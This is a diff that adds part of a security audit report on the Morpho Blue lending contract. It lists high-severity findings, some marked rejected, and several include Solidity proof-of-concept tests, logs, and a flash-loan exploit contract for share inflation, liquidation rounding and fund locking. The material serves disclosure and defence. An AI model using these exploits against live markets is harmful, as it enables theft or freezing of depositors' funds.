+518: uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+519: market[id].totalBorrowAssets, market[id].totalBorrowShares
+520: );
+521: --> uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+522: .wMulDown(marketParams.lltv);
+523:
+524: return maxBorrow >= borrowed;
+525: }
+```
+`maxBorrow` will be zero and the function will return `false`.
+
+The call will then drain the `MarketParams.collateralToken` of the Market without the attacker sending any `MarketParams.loanToken`.
+
+```solidity
+Contract: Morpho.sol
+
+369: if (seizedAssets > 0) {
+370: --> repaidAssets = // here becomes O due to collateralPrice is zero
+371: seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+372: --> repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares); // here's 0 as well due to above.
+373: } else {
+374: repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+375: seizedAssets =
+376: repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+377: }
+
+380: --> position[id][borrower].borrowShares -= repaidShares.toUint128();// This has no effect due to 0 value.
+381: --> market[id].totalBorrowShares -= repaidShares.toUint128(); // // This has no effect due to 0 value.
+382: --> market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128(); // This will remain as totalBorrowAssets too.
+```
+This also breaks the flow of utilizing Flashloan to close multiple positions.
+
+FlashLoan() --> repay(Position1) --> repay(Position2) --> withdrawCollateral(Collateral1) -- > withdrawCollateral(Collateral2)
+
+In this case, withdrawCollateral(Collateral2) will not work as intended as the Oracle price will be 0 and the position will not be healthy.
+
+**Recommendation**:
+
+1. Implementing a global lock to the Morpho contract or nonReentrant modifiers to the functions (whichever is cheaper for gas)
+2. Refactor the code as below for a gas tradeoff;
+
+```diff
+- uint256 collateralPrice = IOracle(marketParams.oracle).price();
+- require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
++ require(!_isHealthy(marketParams, id, borrower), ErrorsLib.HEALTHY_POSITION);
+```
+
+
+
+### Suppliers can be tricked into supplying more
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L214-L214](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L214-L214)
+
+**Description**: The `supply` and `withdraw` functions can increase the supply share price (`totalSupplyAssets / totalSupplyShares`). If a depositor uses the `shares` parameter in `supply` to specify how many assets they want to supply they can be tricked into supplying more assets than they wanted.
+It's easy to inflate the supply share price by 100x through a combination of a single supply of 100 assets and then withdrawing all shares without receiving any assets in return. The reason is that in `withdraw` we compute the `assets` to be received as `assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);`. Note that `assets` can be zero and the `withdraw` essentially becomes a pure `burn` function.
+
+**Example**:
+- A new market is created.
+- The victim tries to supply 1 assets at the initial share price of 1e-6 and specifies `supply(shares=1e6)`. They have already given max approval to the contract because they already supplied the same asset to another market.
+- The attacker wants to borrow a lot of the loan token and therefore targets the victim. They frontrun the victim by `supply(assets=100)` and a sequence of `withdraw()` functions such that `totalSupplyShares = 0` and `totalSupplyAssets = 100`. The new supply share price increased 100x.
+- The victim's transaction is minted and they use the new supply share price and mint 100x more tokens than intended. (Possible because of the max approval.)
+- The attacker borrows all the assets.
+- The victim is temporarily locked out of that asset. They cannot withdraw again because of the liquidity crunch (it is borrowed by the attacker).
+
+**Recommendation**: Suppliers should use the `assets` parameter instead of `shares` whenever possible. In the other cases where `shares` must be used, they need to make sure to only approve the max amount they want to spend. Alternatively, consider adding a slippage parameter `maxAssets` that is the max amount of assets that can be supplied and transferred from the user.
+This attack of inflating the supply share price is especially possible when there are only few shares minted, i.e., at market creation or when an attacker / contracts holds the majority of shares that can be redeemed.
+
+**POC**:
+
+```solidity
+function testSupplyInflationAttack() public {
+ vm.startPrank(SUPPLIER);
+ loanToken.setBalance(SUPPLIER, 1 * 1e18);
+
+ // 100x the price. in the end we end up with 0 supply and totalAssets = assets supplied here
+ morpho.supply(marketParams, 99, 0, SUPPLIER, "");
+
+ uint256 withdrawals = 0;
+ for (;; withdrawals++) {
+ (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = morpho.expectedMarketBalances(marketParams);
+ uint256 shares = (totalSupplyShares + 1e6).mulDivUp(1, totalSupplyAssets + 1) - 1;
+ // burn all of our shares, then break
+ if (shares > totalSupplyShares) {
+ shares = totalSupplyShares;
+ }
+ if (shares == 0) {
+ break;
+ }
+ morpho.withdraw(marketParams, 0, shares, SUPPLIER, SUPPLIER);
+ }
+ (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = morpho.expectedMarketBalances(marketParams);
+ console2.log("withdrawals", withdrawals);
+ console2.log("totalSupplyAssets", totalSupplyAssets);
+ console2.log("final share price %sx", (totalSupplyAssets + 1) * 1e6 / (totalSupplyShares + 1e6));
+
+ // without inflation this should mint at initial share price of 1e6, i.e., 1 asset
+ (uint256 returnAssets,) = morpho.supply(marketParams, 0, 1 * 1e6, SUPPLIER, "");
+ console2.log("pulled in assets ", returnAssets);
+}
+```
+
+Log:
+```bash
+withdrawals 459
+totalSupplyAssets 99
+final share price 100x
+pulled in assets 100
+```
+
+
+
+### Malicious liquidators can poison all markets with bad debt that will never be socialized _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+When liquidating a user, when his collateral is equal to 0, then and only then can his bad debt be socialized to the suppliers.
+
+```solidity
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+
+ // `repaidAssets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Liquidate(id, msg.sender, borrower, repaidAssets, repaidShares, seizedAssets, badDebtShares);
+
+ if (data.length > 0) IMorphoLiquidateCallback(msg.sender).onMorphoLiquidate(repaidAssets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+
+ return (seizedAssets, repaidAssets);
+ }
+
+```
+
+This is problematic, because a liquidator can specify the amount of assets he will seize. An malicious liquidator can seize enough assets in such a way that `position[id][borrower].collateral` is nearly 0 but not 0.
+
+```solidity
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+```
+Because of the if statement above, bad debt will not be socialized in the previous scenario. Now you may say another liquidator can fully liquidate the user and this will allow debt to be socialized, but because there is very few collateral left, the liquidator will not profit from such liquidations. Essentially the next liquidator will have to lose out money because gas costs will be more expensive than any profit he will make liquidating accounts with nearly 0 collateral. Liquidators only liquidate for the profit, especially in a permission less app like this one, no one will go out of their way to lose funds to liquidate.
+
+A malicious liquidator can do this same attack in every market, liquidating 99% of a user and leaving a small amount so that his debt is never socialized. I believe this is likely because the malicious liquidator can be a supplier who does not want the loss socialized to his position.
+
+**Impact**:
+
+Because bad debt is never socialized, in an event where users want to withdraw from a market, there will not be enough funds for everyone to withdraw. The last withdrawers will lose out on all of their funds. This can happen to all markets on morpho.
+
+**Recommendation**:
+Implement logic that ensures bad debt is socialized and cannot be avoided.
+
+
+
+### There is no incentive to liquidate small positions _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Business Logic
+
+Liquidators liquidate positions for the profits they can make, liquidators will not liquidate a position if there is no profit to be made. More so a liquidator will not liquidate a position if it costs him money to do so. This is the case for any low value positions. The incentive a liquidator receives for liquidating a small position will never outweigh the gas costs on mainnet, this will lead to many low value positions to never be liquidated. Additionally this means bad debt will never be socialized because this happens in the liquidate function as we can see below from the snippet of the function Liquidate.
+
+```solidity
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+```
+
+Low value positions may be opened by legitimate users, but may also be leveraged by a malicious user. A malicious user may open many low value positions in attempts to fill a certain market with bad debt that will never be socialized/liquidated.
+
+The cost of gas on eth main net is currently 45 gwei, the gas usage by the liquidate function on goerli is 172,075, some liquidations may cost more or less this is just an example.
+
+using the above numbers we can calculate the cost of a liquidation to be $15 on eth main net.
+assuming the best case scenario of a Liquidation Incentive Factor = 1.15,
+
+ this means that liquidating accounts with a value of up to $100 will not be profitable. Therefore these positions will likely never be liquidated.
+
+
+
+**Impact**:
+
+Because low value positions are never liquidated, their bad debt is never socialized. If a bank run were to occur, the last withdrawing users will not be able to withdraw all of their assets, and in some cases lose all of their assets. Given that this can happen naturally with legitimate users positions, and can also be utilized by a malicious user, I think high severity is appropriate.
+
+**Recommendation**:
+set a minimum amount required to borrow so that the liquidation incentive is higher than the cost of gas to liquidate in most cases.
+
+
+
+### Risk of Interest Rate Manipulation by Malicious Lenders in Morpho
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Summary
+For this issue, you should consider 3 main components of Morpho:
+
+- As mentioned in the white-paper: In Morpho Blue, borrowers’ collateral is not lent out to other borrowers, but rather stays fully liquid on Morpho Blue’s contract.
+- The IRM calculation relies on totalSupplyAssets and totalBorrowAssets, excluding user collateral from the computation.
+- The withdrawal function allows lenders to withdraw until totalSupplyAssets NOT exceeds totalBorrowAssets,
+
+```solidtiy
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY); //@audit
+```
+
+The issue arises due to the absence of collateral affecting totalSupplyAssets and the IRM being based on both totalSupplyAssets and totalBorrowAssets. Malicious lenders can decrease their lent tokens, and increase interest.
+
+- Impact
+Malicious lenders exploiting this vulnerability can increase the IRM, resulting in direct financial losses for borrowers.
+
+- POC
+Consider the following scenario:
+- Total supply assets: 10e18
+- Victim user borrows: 8e18
+- Initial percentage borrowed: 80%
+
+Malicious lender manipulates totalSupplyAssets to 8e18:
+- New percentage borrowed: 100%
+
+For simplicity, modify the `isHealthy` function:
+```solidity
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+ return true;
+ }
+```
+Test:
+```solidity
+contract test is Test{
+ using MarketParamsLib for MarketParams;
+ Morpho morpho;
+ ERC20Mock loan = new ERC20Mock();
+ ERC20Mock collateral = new ERC20Mock();
+ address alice = address(0x01);
+ address bob = address(0x02);
+ MarketParams internal marketParams;
+ Id internal id;
+
+ function setUp() public{
+ morpho = new Morpho(address(this));
+ deal(address(loan), address(this), 1e21);
+ deal(address(collateral), address(this), 1e21);
+ loan.transfer(alice, 1e20);
+ collateral.transfer(bob, 1e20);
+ morpho.enableLltv(50);
+ morpho.enableIrm(address(0x03));
+ marketParams = MarketParams(address(loan), address(collateral), address(0), address(0x03), 50);
+}
+ function test_test() external {
+ morpho.createMarket(marketParams);
+ vm.startPrank(alice);
+ loan.approve(address(morpho), type(uint256).max);
+ morpho.supply(marketParams, 1e19, 0, address(alice), "");
+ vm.startPrank(bob);
+ collateral.approve(address(morpho), type(uint256).max);
+ morpho.supplyCollateral(marketParams, 1e19, address(bob),"");
+ morpho.borrow(marketParams, 8e18, 0, address(bob), address(bob));
+ id = marketParams.id();
+ (uint128 totalSupplyAssets,,uint128 totalBorrowAssets,,,) = morpho.market(id);
+ console2.log(totalBorrowAssets*100/totalSupplyAssets); // 8e19/1e19 -> 80%
+ vm.startPrank(alice);
+ morpho.withdraw(marketParams, 2e18, 0, address(alice), address(alice));
+ (totalSupplyAssets,,totalBorrowAssets,,,) = morpho.market(id);
+ console2.log(totalBorrowAssets*100/totalSupplyAssets); // 8e19/8e19 -> 100%
+ }
+
+}
+```
+Logs:
+```
+[PASS] test_test() (gas: 430469)
+Logs:
+ 80
+ 100
+```
+- Tools Used
+Manual review
+- Recommendations
+In the withdraw function, modify the check as follows:
+```diff
+- require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
++ require(market[id].totalBorrowAssets <= ( 9000 * market[id].totalSupplyAssets / 10000), ErrorsLib.INSUFFICIENT_LIQUIDITY); //@audit
+```
+This modification prevents malicious users from increasing the IRM.
+
+
+
+### Popular tokens such as `USDC` and `USDT` should not be used as loan or collateral tokens _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+`Morph` intends to be immutable in the sense that it does not have any upgrade mechanism.
+Therefore - `Morph` needs to take into account future behavior of tokens.
+
+* `USDT` has a fee-on-transfer mechanism. Currently it is set to 0, however it can be set to any amount in the future
+* `USDC` is upgradable and can include fee-on-transfer feature in future versions.
+
+While it is stated in `IMorph` that fee-on-transfer tokens are not supported. I highly recommend to support them for future changes in popular tokens like the above. Especially since the contract in immutable
+
+**Recommendation**:
+
+In all functions that transfer funds and calculate shares (including the flashLoan function) - calculate the actual transfer amount by the difference between balances before and after the transfer calls
+
+
+
+### Partial liquidations in `liquidate` can leave hanging borrow shares
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+In the `liquidate` function, when no _bad debt_ is realized(the position is unhealthy but doesn't result in losses for the protocol) all borrower's borrow shares should be liquidated at the end of the liquidation, and some collateral must be left. This is what happens when the whole position is liquidated in one single transaction.
+
+However, it's not always the case for partial liquidations. Since the `liquidate` function allows for the liquidator to choose either how much collateral wants to seize or how much borrow shares he's going to repay, a liquidator could partially liquidate a unhealthy position. Well, in cases where a partial liquidation is done by providing the shares to repay, the position could become healty again, and not all the borrow shares would be liquidated as expected and happened in the full liquidation. This should not occur in any case. In theory, the liquidator repay's borrower debt and withdraws (debt value + liquidator incentive) value from the collateral, so the position would actually become slightly more unhealthy, and not the opposite.
+
+This is due to a rounding error. The conversion from `repaidShares` to `repaidAssets` is done by rounding up while the conversion from `repaidAssets` to `seizedAssets` is done by rounding down, potentially making the position healthy again, and therefore preventing the remaining liquidations from happening.
+
+Besides of the severity of function leading to an unexptected healthy position, this results in the borrower paying less liquidation incentives than it should.
+
+Note that the lower the difference between the current LLTV and the target LLTV, the more borrow shares can be left hanging, because the closer the borrower is from being in a healthy position again, so less borrow shares need to be liquidated in order for this to happen. This is a very likley scenario, because liquidator act very fast usually.
+
+
+**PoC:**
+```solidity
+
+
+ function testHangingBorrowSharesNoBadDebtRealized() public {
+ // settings: default test environment settings => 80% lltv
+
+ // some collateral amount for this loan
+ uint256 amountCollateral = 20000 ether; // 20000000000000000000000
+ console.log("Initial collateral : ", amountCollateral);
+ // number of loan tokens you get with 1 collateral token(scaled to 1e36)
+ uint256 collateralPrice = 2 * ORACLE_PRICE_SCALE;
+ // the amount borrowed is 80% of colateral value(the limit => lltv is 80%)
+ uint256 amountBorrowed = amountCollateral * (collateralPrice) / (ORACLE_PRICE_SCALE) * 80 / 100; // = 32000000000000000000000
+ //supply enough amount for the market to lend the loan token
+ uint256 amountSupplied = amountBorrowed * 20;
+ _supply(amountSupplied);
+ // we set the price in the mock oracle
+ oracle.setPrice(collateralPrice);
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ // we deposit collateral and borrow as the borrower
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+ (uint256 assets, uint256 shares) = morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, RECEIVER);
+
+ // the amount of borrow shares NOT TO LIQUIDATE in the error path
+ uint256 borrowSharesDelta = shares / 2;
+ vm.stopPrank();
+
+ // someone else borrows
+ // we make this to make sure this is not valid for markets with 1 borrower only
+ vm.startPrank(LIQUIDATOR);
+ collateralToken.setBalance(LIQUIDATOR, amountCollateral);
+ morpho.supplyCollateral(marketParams, amountCollateral, LIQUIDATOR, hex"");
+ morpho.borrow(marketParams, amountBorrowed, 0, LIQUIDATOR, LIQUIDATOR);
+ vm.stopPrank();
+
+ // collateral value drops so the position is unhealthy and can be liquidated
+ oracle.setPrice(collateralPrice * 99 / 100);
+
+ console.log("===============BORROW=================");
+ console.log("BORROWER BORROW SHARES : ", shares);
+ loanToken.setBalance(LIQUIDATOR, amountBorrowed * 3);
+
+ // save current state to come back later
+ uint256 snapshotId = vm.snapshot();
+
+ // in the full liquidation(happy path) the liquidator will pay all the borrow shares
+ // and therefore borrowShares == 0 in the end
+ uint256 sharesRepaid = shares; // = 32000000000000000000000000000
+ console.log("===============HAPPY PATH=================");
+ console.log("===============LIQUIDATE FULLY=================");
+ vm.prank(LIQUIDATOR);
+ // liquidate the position all at once
+ (uint256 seized, uint256 repaid) = morpho.liquidate(marketParams, BORROWER, 0, sharesRepaid, hex"");
+ console.log("SEIZED COLLATERAL 1: ", seized); // 17193208682570384694949
+ console.log("REPAID SHARES 1: ", repaid); // 32000000000000000000000
+ Position memory pos = morpho.position(id, BORROWER);
+ console.log("===============HAPPY PATH RESULTS====================== ");
+ console.log("BORROWER BORROW SHARES : ", pos.borrowShares); // 0
+ console.log("BORROWER COLLATERAL ASSETS : ", pos.collateral); // 2806791317429615305051
+
+ // borrow shares must be 0 at the end
+ assertEq(pos.borrowShares, 0);
+ assertEq(pos.collateral, 2806791317429615305051);
+
+ // go back to the initial setting
+ vm.revertTo(snapshotId);
+
+ // now for the error path the first liquidator will do a partial liquidation
+ // amount = sharesRepaid - borrowSharesDelta
+ console.log("===============ERROR PATH=================");
+ sharesRepaid -= borrowSharesDelta;
+
+ // liquidate as specified
+ vm.prank(LIQUIDATOR);
+ console.log("===============LIQUIDATE 1=================");
+ (seized, repaid) = morpho.liquidate(marketParams, BORROWER, 0, sharesRepaid, hex"");
+ console.log("SEIZED COLLATERAL 1: ", seized); // 8596604341285192347474
+ console.log("REPAID SHARES 1: ", repaid); // 16000000000000000000000
+
+ // now someone tries to liquidate the remaining collateral with seized assets as input
+ // SURPRISE! THE POSITION IS HEALTHY!
+ vm.prank(LIQUIDATOR);
+ console.log("===============TRY LIQUIDATE 2 WITH ASSETS=================");
+ pos = morpho.position(id, BORROWER);
+ // it will revert since the contract will identify the position as healthy
+ vm.expectRevert(bytes(ErrorsLib.HEALTHY_POSITION));
+ (seized, repaid) = morpho.liquidate(marketParams, BORROWER, uint256(pos.collateral/2), 0, hex"");
+ console.log("SEIZED COLLATERAL 2: ", seized);
+ console.log("REPAID SHARES 2: ", repaid);
+
+ // now someone tries to liquidate it but using the shares instead of assets
+ // STILL HEALTHY!
+ vm.prank(LIQUIDATOR);
+ console.log("===============TRY LIQUIDATE 2 WITH SHARES=================");
+ // the same will happen
+ vm.expectRevert(bytes(ErrorsLib.HEALTHY_POSITION));
+ // there is one share remaining so liquidate it
+ (seized, repaid) = morpho.liquidate(marketParams, BORROWER, 0, pos.borrowShares, hex"");
+ console.log("SEIZED COLLATERAL 2: ", seized);
+ console.log("REPAID SHARES 2: ", repaid);
+ pos = morpho.position(id, BORROWER);
+ // result : not all borrow shares have been liquidated, instead the position has become healthy
+ // after the first partial liquidation
+ console.log("===============ERROR PATH RESULTS====================== ");
+ console.log("BORROWER BORROW SHARES : ", pos.borrowShares); // 16000000000000000000000000000
+ console.log("BORROWER COLLATERAL ASSETS : ", pos.collateral); // 11403395658714807652526
+
+ // the numbers are different if not liquidated all at once
+ assertEq(pos.borrowShares, borrowSharesDelta);
+ assertEq(pos.collateral, 11403395658714807652526);
+ }
+```
+
+**Recommendation**:
+The current rounding is done in favor of the borrower. It's recommended to do in favor of the liquidator, in order to prevent this error from happening.
+
+
+
+### Malicious party can lock funds forever due to being able to utilize supplied tokens as collateral on flashloans
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Malicious party can lock funds forever due to being able to utilize supplied tokens as collateral on flashloans
+
+- Description
+This threat is characterized by the ability of a malicious party to risk a couple of it's own tokens to have the already supplied tokens by other users under the risk of liquidation.
+The mechanism is a flashloan that allows the malicious party to withdraw the whole supplied token amount, deposit it as collateral into the market then borrow lltv - 1 tokens (an almost unhealthy position) to help repay the flashloan.
+The effects of this action are:
+1. The whole supplied loan tokens + the collateral tokens are under the risk of liquidation.
+ 1. Firstly the malicious user assets are in risk of being seized.
+ 2. Secondly the supplied tokens are in risk of being accounted as bad debt then becoming not accounted anymore. [Code snippet:](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L386C9-L398C10)
+```solidity
+uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+```
+2. The market double counts tokens: as now the malicious user's collateral is equal to the totalSupply but the contract's balance is equal to the totalSupply as well.
+
+This issue arises due to a couple of low/medium vulnerabilities that together become risky.
+- Pre-conditions
+1. [The market can have same collateral and loan token:](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150C1-L161C6)
+```solidity
+ function createMarket(MarketParams memory marketParams) external {
+ Id id = marketParams.id();
+ require(isIrmEnabled[marketParams.irm], ErrorsLib.IRM_NOT_ENABLED);
+ require(isLltvEnabled[marketParams.lltv], ErrorsLib.LLTV_NOT_ENABLED);
+ require(market[id].lastUpdate == 0, ErrorsLib.MARKET_ALREADY_CREATED);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ idToMarketParams[id] = marketParams;
+
+ emit EventsLib.CreateMarket(id, marketParams);
+ }
+```
+
+2. The Morpho.sol contract does not utilize reentrancy guards on monetary-related functions: supply, withdraw, borrow, repay, supplyCollateral, withdrawCollateral and liquidate.
+3. [Any balance held by the contract may be utilized in flashloans:](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L415C5-L424C1)
+```solidity
+function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ IERC20(token).safeTransfer(msg.sender, assets);
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+ }
+```
+- Proof of Concept
+This proof of concept demonstrates the issue by utilizing a worst-case scenario approach. The selected LLTV is 99%.
+From point 2 to point 3 we do a liquidation without bad debt.
+From point 3 to 4 it does a liquidation with bad debt and loss of total assets supplied to the pool.
+
+To execute the coded PoC, first we copy the BaseTest contract and create a new one called ExploitBaseTest. On it line 114 will be altered as follows:
+```solidity
+ _setLltv(MAX_TEST_LLTV);
+```
+
+After that we create FlashLoanExploit.sol file at the src folder and paste the following code snippet:
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+
+pragma solidity ^0.8.0;
+
+
+
+import "./interfaces/IMorpho.sol";
+
+interface IERC20V2 {
+ function totalSupply() external view returns (uint256);
+ function balanceOf(address account) external view returns (uint256);
+ function transfer(address recipient, uint256 amount) external returns (bool);
+ function allowance(address owner, address spender) external view returns (uint256);
+ function approve(address spender, uint256 amount) external returns (bool);
+ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
+ event Transfer(address indexed from, address indexed to, uint256 value);
+ event Approval(address indexed owner, address indexed spender, uint256 value);
+}
+
+contract FlashLoanExploit {
+ IMorpho public morpho;
+ IERC20V2 public loanToken;
+ MarketParams public marketParams;
+
+ constructor(address _morpho, address _loanToken, MarketParams memory _marketParams) {
+ morpho = IMorpho(_morpho);
+ loanToken = IERC20V2(_loanToken);
+ marketParams = _marketParams;
+
+ // Max approve Morpho contract to spend the loan/collateral tokens
+ loanToken.approve(_morpho, type(uint256).max);
+ }
+
+ // Function to initiate the flash loan
+ function initiateFlashLoan() external {
+ uint256 loanAmount = loanToken.balanceOf(address(morpho));
+ morpho.flashLoan(address(loanToken), loanAmount, "");
+ }
+
+ // Callback function executed by Morpho after the flash loan
+ function onMorphoFlashLoan(uint256 _amount, bytes memory _data) external {
+ require(msg.sender == address(morpho), "Caller must be Morpho");
+ // Supply the flash loaned amount as collateral
+ morpho.supplyCollateral(marketParams, _amount, address(this), "");
+
+ // Calculate the amount to borrow (98.9% of the collateral)
+ uint256 borrowAmount = _amount * 989 / 1000;
+
+ // Borrow the calculated amount
+ morpho.borrow(marketParams, borrowAmount, 0, address(this), address(this));
+ }
+}
+```
+
+Paste the following code snippet at a file named ExploitIntegrationTest.sol at the test/forge/integration folder
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+
+pragma solidity ^0.8.0;
+import "../ExploitBaseTest.sol";
+import "forge-std/console.sol";
+import "../../../src/interfaces/IMorpho.sol";
+import "../../../src/FlashLoanExploit.sol"; // Import the FlashLoanExploit contract
+
+contract ExploitIntegrationTest is ExploitBaseTest {
+ address BOB = makeAddr("Bob");
+
+ function testExploitFlow() public {
+ // Alice supplies a large amount of tokens to the market
+ uint256 aliceAmount = 1e24;
+ loanToken.setBalance(SUPPLIER, aliceAmount);
+ vm.startPrank(SUPPLIER);
+ loanToken.approve(address(morpho), aliceAmount);
+ morpho.supply(marketParams, aliceAmount, 0, SUPPLIER, "");
+ vm.stopPrank();
+
+ // Log market state after Alice's supply (Point 1)
+ Market memory marketAfterAlice = morpho.market(id);
+ console.log("Point 1 - Total supplied assets in market:", marketAfterAlice.totalSupplyAssets);
+ console.log("Point 1 - Total borrow assets in market:", marketAfterAlice.totalBorrowAssets);
+
+ // Bob is provided with tokens and executes a flash loan
+ uint256 bobAmount = 1e24;
+ uint256 flashLoanAmount = 2e22;
+ loanToken.setBalance(BOB, bobAmount);
+ vm.startPrank(BOB);
+ loanToken.approve(address(morpho), bobAmount);
+ FlashLoanExploit flashLoanExploit = new FlashLoanExploit(address(morpho), address(loanToken), marketParams);
+ loanToken.transfer(address(flashLoanExploit), flashLoanAmount);
+ flashLoanExploit.initiateFlashLoan();
+ vm.stopPrank();
+
+ // Log Bob's borrow assets after flash loan
+ uint256 bobBorrowShares = morpho.position(id, address(flashLoanExploit)).borrowShares;
+ uint256 bobBorrowAssets = (morpho.market(id).totalBorrowAssets) * bobBorrowShares / morpho.market(id).totalBorrowShares;
+ console.log("Bob's exploit contract borrow assets:", bobBorrowAssets);
+
+ // Log market state after the flash loan (Point 2)
+ Market memory marketAfterFlashLoan = morpho.market(id);
+ console.log("Point 2 - Total supplied assets in market:", marketAfterFlashLoan.totalSupplyAssets);
